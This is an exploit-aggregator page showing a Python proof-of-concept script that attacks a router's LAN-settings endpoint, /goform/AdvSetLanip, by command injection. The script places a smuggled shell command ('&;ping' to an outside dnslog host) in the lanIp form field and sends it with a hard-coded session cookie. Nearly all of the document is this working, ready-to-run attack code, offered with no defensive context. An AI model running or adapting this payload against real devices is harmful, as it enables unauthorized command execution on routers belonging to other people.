4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / GenLANConfigAttack.py PY
import requests

# Функция для создания заголовков HTTP-запроса
def generate_headers(ip_address, session_password):
    return {
        'Host': ip_address,
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
        'X-Requested-With': 'XMLHttpRequest',
        'Origin': f'http://{ip_address}',
        'Referer': f'http://{ip_address}/lan.html?random=0.08993538243602162&',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Cookie': f'password={session_password}',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

# Функция для генерации тела POST-запроса
def generate_payload(ping_command):
    return {
        'lanIp': ping_command,
        'lanMask': '255.255.255.0',
        'dhcpEn': '1',
        'startIp': "192.168.0.50",
        'endIp': "192.168.0.254",
        'leaseTime': "86400",
        'lanDnsAuto': "1",
        'lanDns1': "",
        'lanDns2': ""
    }

# Функция для выполнения атаки на указанный IP с паролем
def perform_attack(ip_address, session_password, ping_command):
    try:
        # Генерация данных для запроса
        headers = generate_headers(ip_address, session_password)
        payload = generate_payload(ping_command)

        # Выполнение запроса
        response = requests.post(
            url=f"http://{ip_address}/goform/AdvSetLanip",
            data=payload,
            headers=headers,
            allow_redirects=False
        )

        # Вывод результата запроса
        print(f"[Response from {ip_address}]: {response.text}")
    except Exception as error:
        print(f"[Error while attacking {ip_address}]: {error}")

def main():
    # Параметры для атаки
    ip_address = '192.168.0.1'
    ping_command = '192.168.0.1 &;ping xt68nd.dnslog.cn'  # Команда для выполнения
    session_password = 'gew43t4gtewe4u5u576i7yhggerr6ijtr'  # Пароль для сессии

    # Выполнение атаки
    perform_attack(ip_address, session_password, ping_command)

if __name__ == "__main__":
    main()